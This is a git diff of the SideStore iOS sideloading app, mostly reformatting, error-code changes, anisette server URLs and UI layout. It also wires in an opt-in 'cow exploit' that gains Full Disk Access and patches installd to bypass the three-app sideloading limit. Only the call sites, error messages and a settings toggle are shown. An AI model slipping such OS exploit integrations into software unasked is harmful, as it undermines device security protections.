let certificate = try Result(certificate, error).get() let certificate = try Result(certificate, error).get()
guard let privateKey = certificate.privateKey else { throw AuthenticationError.missingPrivateKey } guard let privateKey = certificate.privateKey else { throw AuthenticationError.missingPrivateKey }
ALTAppleAPI.shared.fetchCertificates(for: team, session: session) { (certificates, error) in ALTAppleAPI.shared.fetchCertificates(for: team, session: session)
{ certificates, error in
do do
{ {
let certificates = try Result(certificates, error).get() let certificates = try Result(certificates, error).get()
guard let certificate = certificates.first(where: { $0.serialNumber == certificate.serialNumber }) else { guard let certificate = certificates.first(where: { $0.serialNumber == certificate.serialNumber })
else
{
throw AuthenticationError.missingCertificate throw AuthenticationError.missingCertificate
} }
@@ -524,7 +558,8 @@ private extension AuthenticationOperation
{ {
guard let certificate = certificates.first(where: { $0.machineName?.starts(with: "AltStore") == true }) ?? certificates.first else { return completionHandler(.failure(AuthenticationError.noCertificate)) } guard let certificate = certificates.first(where: { $0.machineName?.starts(with: "AltStore") == true }) ?? certificates.first else { return completionHandler(.failure(AuthenticationError.noCertificate)) }
ALTAppleAPI.shared.revoke(certificate, for: team, session: session) { (success, error) in ALTAppleAPI.shared.revoke(certificate, for: team, session: session)
{ success, error in
if let error = error, !success if let error = error, !success
{ {
completionHandler(.failure(error)) completionHandler(.failure(error))
@@ -536,7 +571,8 @@ private extension AuthenticationOperation
} }
} }
ALTAppleAPI.shared.fetchCertificates(for: team, session: session) { (certificates, error) in ALTAppleAPI.shared.fetchCertificates(for: team, session: session)
{ certificates, error in
do do
{ {
let certificates = try Result(certificates, error).get() let certificates = try Result(certificates, error).get()
@@ -593,11 +629,14 @@ private extension AuthenticationOperation
func registerCurrentDevice(for team: ALTTeam, session: ALTAppleAPISession, completionHandler: @escaping (Result<ALTDevice, Error>) -> Void) func registerCurrentDevice(for team: ALTTeam, session: ALTAppleAPISession, completionHandler: @escaping (Result<ALTDevice, Error>) -> Void)
{ {
guard let udid = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.deviceID) as? String else { guard let udid = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.deviceID) as? String
else
{
return completionHandler(.failure(OperationError.unknownUDID)) return completionHandler(.failure(OperationError.unknownUDID))
} }
ALTAppleAPI.shared.fetchDevices(for: team, types: [.iphone, .ipad], session: session) { (devices, error) in ALTAppleAPI.shared.fetchDevices(for: team, types: [.iphone, .ipad], session: session)
{ devices, error in
do do
{ {
let devices = try Result(devices, error).get() let devices = try Result(devices, error).get()
@@ -608,7 +647,8 @@ private extension AuthenticationOperation
} }
else else
{ {
ALTAppleAPI.shared.registerDevice(name: UIDevice.current.name, identifier: udid, type: .iphone, team: team, session: session) { (device, error) in ALTAppleAPI.shared.registerDevice(name: UIDevice.current.name, identifier: udid, type: .iphone, team: team, session: session)
{ device, error in
completionHandler(Result(device, error)) completionHandler(Result(device, error))
} }
} }
@@ -623,7 +663,7 @@ private extension AuthenticationOperation
func cacheAppIDs(team: ALTTeam, session: ALTAppleAPISession, completionHandler: @escaping (Result<Void, Error>) -> Void) func cacheAppIDs(team: ALTTeam, session: ALTAppleAPISession, completionHandler: @escaping (Result<Void, Error>) -> Void)
{ {
let fetchAppIDsOperation = FetchAppIDsOperation(context: self.context) let fetchAppIDsOperation = FetchAppIDsOperation(context: self.context)
fetchAppIDsOperation.resultHandler = { (result) in fetchAppIDsOperation.resultHandler = { result in
do do
{ {
let (_, context) = try result.get() let (_, context) = try result.get()
@@ -644,7 +684,8 @@ private extension AuthenticationOperation
{ {
guard self.shouldShowInstructions else { return completionHandler(false) } guard self.shouldShowInstructions else { return completionHandler(false) }
DispatchQueue.main.async { DispatchQueue.main.async
{
let instructionsViewController = self.storyboard.instantiateViewController(withIdentifier: "instructionsViewController") as! InstructionsViewController let instructionsViewController = self.storyboard.instantiateViewController(withIdentifier: "instructionsViewController") as! InstructionsViewController
instructionsViewController.showsBottomButton = true instructionsViewController.showsBottomButton = true
instructionsViewController.completionHandler = { instructionsViewController.completionHandler = {
@@ -668,7 +709,8 @@ private extension AuthenticationOperation
#if DEBUG #if DEBUG
completionHandler(false) completionHandler(false)
#else #else
DispatchQueue.main.async { DispatchQueue.main.async
{
let context = AuthenticatedOperationContext(context: self.context) let context = AuthenticatedOperationContext(context: self.context)
context.operations.removeAllObjects() // Prevent deadlock due to endless waiting on previous operations to finish. context.operations.removeAllObjects() // Prevent deadlock due to endless waiting on previous operations to finish.

View File

@@ -478,10 +478,13 @@ extension FetchProvisioningProfilesOperation
ALTAppleAPI.shared.delete(profile, for: team, session: session) { (success, error) in ALTAppleAPI.shared.delete(profile, for: team, session: session) { (success, error) in
switch Result(success, error) switch Result(success, error)
{ {
case .failure(let error): completionHandler(.failure(error)) case .failure:
case .success: // As of March 20, 2023, the free provisioning profile is re-generated each fetch, and you can no longer delete it.
// So instead, we just return the fetched profile from above.
completionHandler(.success(profile))
// Fetch new provisiong profile case .success:
// Fetch new provisioning profile
ALTAppleAPI.shared.fetchProvisioningProfile(for: appID, deviceType: .iphone, team: team, session: session) { (profile, error) in ALTAppleAPI.shared.fetchProvisioningProfile(for: appID, deviceType: .iphone, team: team, session: session) { (profile, error) in
completionHandler(Result(profile, error)) completionHandler(Result(profile, error))
} }

View File

@@ -8,8 +8,8 @@
import Foundation import Foundation
import Network import Network
import AltStoreCore
import AltSign import AltSign
import AltStoreCore
import Roxas import Roxas
@objc(InstallAppOperation) @objc(InstallAppOperation)
@@ -44,8 +44,8 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
else { return self.finish(.failure(OperationError.invalidParameters)) } else { return self.finish(.failure(OperationError.invalidParameters)) }
let backgroundContext = DatabaseManager.shared.persistentContainer.newBackgroundContext() let backgroundContext = DatabaseManager.shared.persistentContainer.newBackgroundContext()
backgroundContext.perform { backgroundContext.perform
{
/* App */ /* App */
let installedApp: InstalledApp let installedApp: InstalledApp
@@ -141,8 +141,9 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
installedApp.isActive = false installedApp.isActive = false
} }
} }
activeProfiles = Set(activeApps.flatMap { (installedApp) -> [String] in activeProfiles = Set(activeApps.flatMap
{ installedApp -> [String] in
let appExtensionProfiles = installedApp.appExtensions.map { $0.resignedBundleIdentifier } let appExtensionProfiles = installedApp.appExtensions.map { $0.resignedBundleIdentifier }
return [installedApp.resignedBundleIdentifier] + appExtensionProfiles return [installedApp.resignedBundleIdentifier] + appExtensionProfiles
}) })
@@ -152,11 +153,50 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
let ns_bundle_ptr = UnsafeMutablePointer<CChar>(mutating: ns_bundle.utf8String) let ns_bundle_ptr = UnsafeMutablePointer<CChar>(mutating: ns_bundle.utf8String)
let res = minimuxer_install_ipa(ns_bundle_ptr) let res = minimuxer_install_ipa(ns_bundle_ptr)
if res == 0 { if res == 0
{
installedApp.refreshedDate = Date() installedApp.refreshedDate = Date()
self.finish(.success(installedApp)) self.finish(.success(installedApp))
}
} else { else if res == -15
{
// try again
if UserDefaults.standard.enableCowExploit && UserDefaults.standard.isCowExploitSupported
{
patch3AppLimit
{ result in
switch result
{
case .success:
UserDefaults.standard.set(bootTime(), forKey: "cowExploitRanBootTime")
print("patched sucessfully")
case .failure(let err):
switch err
{
case .NoFDA:
self.finish(.failure(OperationError.cowExploitNoFDA))
return
case .FailedPatchd:
self.finish(.failure(OperationError.cowExploitFailedPatchd))
return
}
}
}
let res_try_again = minimuxer_install_ipa(ns_bundle_ptr)
if res_try_again == 0
{
installedApp.refreshedDate = Date()
self.finish(.success(installedApp))
}
else
{
self.finish(.failure(minimuxer_to_operation(code: res_try_again)))
}
}
}
else
{
self.finish(.failure(minimuxer_to_operation(code: res))) self.finish(.failure(minimuxer_to_operation(code: res)))
} }
} }

View File

@@ -6,11 +6,10 @@
// Copyright © 2019 Riley Testut. All rights reserved. // Copyright © 2019 Riley Testut. All rights reserved.
// //
import Foundation
import AltSign import AltSign
import Foundation
enum OperationError: LocalizedError enum OperationError: LocalizedError {
{
static let domain = OperationError.unknown._domain static let domain = OperationError.unknown._domain
case unknown case unknown
@@ -45,6 +44,8 @@ enum OperationError: LocalizedError
case functionArguments case functionArguments
case profileInstall case profileInstall
case noConnection case noConnection
case cowExploitNoFDA
case cowExploitFailedPatchd
var failureReason: String? { var failureReason: String? {
switch self { switch self {
@@ -73,22 +74,21 @@ enum OperationError: LocalizedError
case .functionArguments: return NSLocalizedString("A function was passed invalid arguments", comment: "") case .functionArguments: return NSLocalizedString("A function was passed invalid arguments", comment: "")
case .profileInstall: return NSLocalizedString("Unable to manage profiles on the device", comment: "") case .profileInstall: return NSLocalizedString("Unable to manage profiles on the device", comment: "")
case .noConnection: return NSLocalizedString("Unable to connect to the device, make sure Wireguard is enabled and you're connected to WiFi", comment: "") case .noConnection: return NSLocalizedString("Unable to connect to the device, make sure Wireguard is enabled and you're connected to WiFi", comment: "")
case .cowExploitNoFDA: return NSLocalizedString("Unable to get Full Disk Access using exploit.", comment: "")
case .cowExploitFailedPatchd: return NSLocalizedString("Unable to patch installd using exploit.", comment: "")
} }
} }
var recoverySuggestion: String? { var recoverySuggestion: String? {
switch self switch self {
{
case .maximumAppIDLimitReached(let application, let requiredAppIDs, let availableAppIDs, let date): case .maximumAppIDLimitReached(let application, let requiredAppIDs, let availableAppIDs, let date):
let baseMessage = NSLocalizedString("Delete sideloaded apps to free up App ID slots.", comment: "") let baseMessage = NSLocalizedString("Delete sideloaded apps to free up App ID slots.", comment: "")
let message: String let message: String
if requiredAppIDs > 1 if requiredAppIDs > 1 {
{
let availableText: String let availableText: String
switch availableAppIDs switch availableAppIDs {
{
case 0: availableText = NSLocalizedString("none are available", comment: "") case 0: availableText = NSLocalizedString("none are available", comment: "")
case 1: availableText = NSLocalizedString("only 1 is available", comment: "") case 1: availableText = NSLocalizedString("only 1 is available", comment: "")
default: availableText = String(format: NSLocalizedString("only %@ are available", comment: ""), NSNumber(value: availableAppIDs)) default: availableText = String(format: NSLocalizedString("only %@ are available", comment: ""), NSNumber(value: availableAppIDs))
@@ -97,8 +97,7 @@ enum OperationError: LocalizedError
let prefixMessage = String(format: NSLocalizedString("%@ requires %@ App IDs, but %@.", comment: ""), application.name, NSNumber(value: requiredAppIDs), availableText) let prefixMessage = String(format: NSLocalizedString("%@ requires %@ App IDs, but %@.", comment: ""), application.name, NSNumber(value: requiredAppIDs), availableText)
message = prefixMessage + " " + baseMessage message = prefixMessage + " " + baseMessage
} }
else else {
{
let dateComponents = Calendar.current.dateComponents([.day, .hour, .minute], from: Date(), to: date) let dateComponents = Calendar.current.dateComponents([.day, .hour, .minute], from: Date(), to: date)
let dateComponentsFormatter = DateComponentsFormatter() let dateComponentsFormatter = DateComponentsFormatter()
@@ -120,45 +119,45 @@ enum OperationError: LocalizedError
func minimuxer_to_operation(code: Int32) -> OperationError { func minimuxer_to_operation(code: Int32) -> OperationError {
switch code { switch code {
case -1: case 1:
return OperationError.noDevice return OperationError.noDevice
case -2: case 2:
return OperationError.createService(name: "debug") return OperationError.createService(name: "debug")
case -3: case 3:
return OperationError.createService(name: "instproxy") return OperationError.createService(name: "instproxy")
case -4: case 4:
return OperationError.getFromDevice(name: "installed apps") return OperationError.getFromDevice(name: "installed apps")
case -5: case 5:
return OperationError.getFromDevice(name: "path to the app") return OperationError.getFromDevice(name: "path to the app")
case -6: case 6:
return OperationError.getFromDevice(name: "bundle path") return OperationError.getFromDevice(name: "bundle path")
case -7: case 7:
return OperationError.setArgument(name: "max packet") return OperationError.setArgument(name: "max packet")
case -8: case 8:
return OperationError.setArgument(name: "working directory") return OperationError.setArgument(name: "working directory")
case -9: case 9:
return OperationError.setArgument(name: "argv") return OperationError.setArgument(name: "argv")
case -10: case 10:
return OperationError.getFromDevice(name: "launch success") return OperationError.getFromDevice(name: "launch success")
case -11: case 11:
return OperationError.detach return OperationError.detach
case -12: case 12:
return OperationError.functionArguments return OperationError.functionArguments
case -13: case 13:
return OperationError.createService(name: "AFC") return OperationError.createService(name: "AFC")
case -14: case 14:
return OperationError.afc return OperationError.afc
case -15: case 15:
return OperationError.install return OperationError.install
case -16: case 16:
return OperationError.uninstall return OperationError.uninstall
case -17: case 17:
return OperationError.createService(name: "misagent") return OperationError.createService(name: "misagent")
case -18: case 18:
return OperationError.profileInstall return OperationError.profileInstall
case -19: case 19:
return OperationError.profileInstall return OperationError.profileInstall
case -20: case 20:
return OperationError.noConnection return OperationError.noConnection
default: default:
return OperationError.unknown return OperationError.unknown

View File

@@ -16,14 +16,13 @@
<key>Key</key> <key>Key</key>
<string>customAnisetteURL</string> <string>customAnisetteURL</string>
<key>DefaultValue</key> <key>DefaultValue</key>
<string>http://191.101.206.188:6969</string> <string>https://ani.sidestore.io</string>
<key>Titles</key> <key>Titles</key>
<array> <array>
<string>SideStore</string>
<string>Macley (US)</string> <string>Macley (US)</string>
<string>Macley (DE)</string> <string>Macley (DE)</string>
<string>DrPudding</string> <string>DrPudding</string>
<string>jkcoxson (AltServer)</string>
<string>jkcoxson (Provision)</string>
<string>Sideloadly</string> <string>Sideloadly</string>
<string>Nick</string> <string>Nick</string>
<string>Jawshoeadan</string> <string>Jawshoeadan</string>
@@ -31,11 +30,10 @@
</array> </array>
<key>Values</key> <key>Values</key>
<array> <array>
<string>https://ani.sidestore.io</string>
<string>http://us1.sternserv.tech</string> <string>http://us1.sternserv.tech</string>
<string>http://de1.sternserv.tech</string> <string>http://de1.sternserv.tech</string>
<string>https://sign.rheaa.xyz</string> <string>https://sign.rheaa.xyz</string>
<string>http://jkcoxson.com:2095</string>
<string>http://jkcoxson.com:2052</string>
<string>https://sideloadly.io/anisette/irGb3Quww8zrhgqnzmrx</string> <string>https://sideloadly.io/anisette/irGb3Quww8zrhgqnzmrx</string>
<string>http://45.33.29.114</string> <string>http://45.33.29.114</string>
<string>https://anisette.jawshoeadan.me</string> <string>https://anisette.jawshoeadan.me</string>

View File

@@ -173,8 +173,7 @@ private extension PatreonViewController
@objc func openPatreonURL(_ sender: UIButton) @objc func openPatreonURL(_ sender: UIButton)
{ {
// TODO: Is this the final URL? @JoeMatt let patreonURL = URL(string: "https://www.patreon.com/SideStore")!
let patreonURL = URL(string: "https://www.patreon.com/JitStreamer")!
let safariViewController = SFSafariViewController(url: patreonURL) let safariViewController = SFSafariViewController(url: patreonURL)
safariViewController.preferredControlTintColor = self.view.tintColor safariViewController.preferredControlTintColor = self.view.tintColor

View File

@@ -21,7 +21,7 @@
<color key="tintColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/> <color key="tintColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<color key="separatorColor" white="1" alpha="0.25" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/> <color key="separatorColor" white="1" alpha="0.25" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<label key="tableFooterView" opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="SideStore 1.0" textAlignment="center" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" id="bUR-rp-Nw2"> <label key="tableFooterView" opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="SideStore 1.0" textAlignment="center" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" id="bUR-rp-Nw2">
<rect key="frame" x="0.0" y="1082" width="375" height="25"/> <rect key="frame" x="0.0" y="1234" width="375" height="25"/>
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/> <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
<fontDescription key="fontDescription" type="system" pointSize="17"/> <fontDescription key="fontDescription" type="system" pointSize="17"/>
<color key="textColor" white="1" alpha="0.69999999999999996" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/> <color key="textColor" white="1" alpha="0.69999999999999996" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
@@ -168,7 +168,7 @@
<autoresizingMask key="autoresizingMask"/> <autoresizingMask key="autoresizingMask"/>
<subviews> <subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Join the beta" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="3Il-5a-5Zp"> <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Join the beta" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="3Il-5a-5Zp">
<rect key="frame" x="30" y="15.5" width="106" height="20.5"/> <rect key="frame" x="30" y="15.499999999999998" width="106" height="20.5"/>
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/> <fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/> <color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<nil key="highlightedColor"/> <nil key="highlightedColor"/>
@@ -208,7 +208,7 @@
<autoresizingMask key="autoresizingMask"/> <autoresizingMask key="autoresizingMask"/>
<subviews> <subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Background Refresh" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="EbG-HB-IOn"> <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Background Refresh" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="EbG-HB-IOn">
<rect key="frame" x="30" y="15.5" width="166" height="20.5"/> <rect key="frame" x="30" y="15.499999999999998" width="166" height="20.5"/>
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/> <fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/> <color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<nil key="highlightedColor"/> <nil key="highlightedColor"/>
@@ -244,7 +244,7 @@
<autoresizingMask key="autoresizingMask"/> <autoresizingMask key="autoresizingMask"/>
<subviews> <subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Add to Siri…" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="c6K-fI-CVr"> <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Add to Siri…" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="c6K-fI-CVr">
<rect key="frame" x="30" y="15.5" width="100.5" height="20.5"/> <rect key="frame" x="30" y="15.499999999999998" width="100.5" height="20.5"/>
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/> <fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/> <color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<nil key="highlightedColor"/> <nil key="highlightedColor"/>
@@ -276,7 +276,7 @@
<autoresizingMask key="autoresizingMask"/> <autoresizingMask key="autoresizingMask"/>
<subviews> <subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="How it works" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="2CC-iw-3bd"> <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="How it works" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="2CC-iw-3bd">
<rect key="frame" x="30" y="15.5" width="105" height="20.5"/> <rect key="frame" x="30" y="15.499999999999998" width="105" height="20.5"/>
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/> <fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/> <color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<nil key="highlightedColor"/> <nil key="highlightedColor"/>
@@ -478,10 +478,50 @@
</tableViewCell> </tableViewCell>
</cells> </cells>
</tableViewSection> </tableViewSection>
<tableViewSection headerTitle="" id="2em-H5-kgS">
<cells>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="n3X-OX-idC" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="870" width="375" height="51"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="n3X-OX-idC" id="IVp-7k-KdM">
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Enable 3-app-limit bypass" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="IY0-94-5LN">
<rect key="frame" x="30" y="15.5" width="214" height="20.5"/>
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<nil key="highlightedColor"/>
</label>
<switch opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="750" verticalHuggingPriority="750" contentHorizontalAlignment="center" contentVerticalAlignment="center" on="YES" translatesAutoresizingMaskIntoConstraints="NO" id="Oie-te-KSQ">
<rect key="frame" x="296" y="10" width="51" height="31"/>
<connections>
<action selector="toggleenableCowExploit:" destination="aMk-Xp-UL8" eventType="valueChanged" id="tfb-kk-C17"/>
</connections>
</switch>
</subviews>
<constraints>
<constraint firstItem="IY0-94-5LN" firstAttribute="leading" secondItem="IVp-7k-KdM" secondAttribute="leadingMargin" id="07y-eS-INC"/>
<constraint firstItem="Oie-te-KSQ" firstAttribute="centerY" secondItem="IVp-7k-KdM" secondAttribute="centerY" id="1dS-uM-gb1"/>
<constraint firstItem="IY0-94-5LN" firstAttribute="centerY" secondItem="IVp-7k-KdM" secondAttribute="centerY" id="FyZ-BM-Ss0"/>
<constraint firstAttribute="trailingMargin" secondItem="Oie-te-KSQ" secondAttribute="trailing" id="I1v-Ub-eJJ"/>
</constraints>
</tableViewCellContentView>
<color key="backgroundColor" white="1" alpha="0.14999999999999999" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<edgeInsets key="layoutMargins" top="8" left="30" bottom="8" right="30"/>
<userDefinedRuntimeAttributes>
<userDefinedRuntimeAttribute type="number" keyPath="style">
<integer key="value" value="0"/>
</userDefinedRuntimeAttribute>
<userDefinedRuntimeAttribute type="boolean" keyPath="isSelectable" value="NO"/>
</userDefinedRuntimeAttributes>
</tableViewCell>
</cells>
</tableViewSection>
<tableViewSection headerTitle="" id="OMa-EK-hRI"> <tableViewSection headerTitle="" id="OMa-EK-hRI">
<cells> <cells>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="FMZ-as-Ljo" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target"> <tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="FMZ-as-Ljo" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="870" width="375" height="51"/> <rect key="frame" x="0.0" y="961" width="375" height="51"/>
<autoresizingMask key="autoresizingMask"/> <autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="FMZ-as-Ljo" id="JzL-Of-A3T"> <tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="FMZ-as-Ljo" id="JzL-Of-A3T">
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/> <rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
@@ -514,7 +554,7 @@
</userDefinedRuntimeAttributes> </userDefinedRuntimeAttributes>
</tableViewCell> </tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="Qca-pU-sJh" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target"> <tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="Qca-pU-sJh" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="921" width="375" height="51"/> <rect key="frame" x="0.0" y="1012" width="375" height="51"/>
<autoresizingMask key="autoresizingMask"/> <autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="Qca-pU-sJh" id="QtU-8J-VQN"> <tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="Qca-pU-sJh" id="QtU-8J-VQN">
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/> <rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
@@ -550,7 +590,7 @@
</connections> </connections>
</tableViewCell> </tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="rE2-P4-OaE" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target"> <tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="rE2-P4-OaE" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="972" width="375" height="51"/> <rect key="frame" x="0.0" y="1063" width="375" height="51"/>
<autoresizingMask key="autoresizingMask"/> <autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="rE2-P4-OaE" id="qIT-rz-ZUb"> <tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="rE2-P4-OaE" id="qIT-rz-ZUb">
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/> <rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
@@ -586,13 +626,13 @@
</connections> </connections>
</tableViewCell> </tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="VNn-u4-cN8" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target"> <tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="VNn-u4-cN8" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="1023" width="375" height="51"/> <rect key="frame" x="0.0" y="1114" width="375" height="51"/>
<autoresizingMask key="autoresizingMask"/> <autoresizingMask key="autoresizingMask"/>
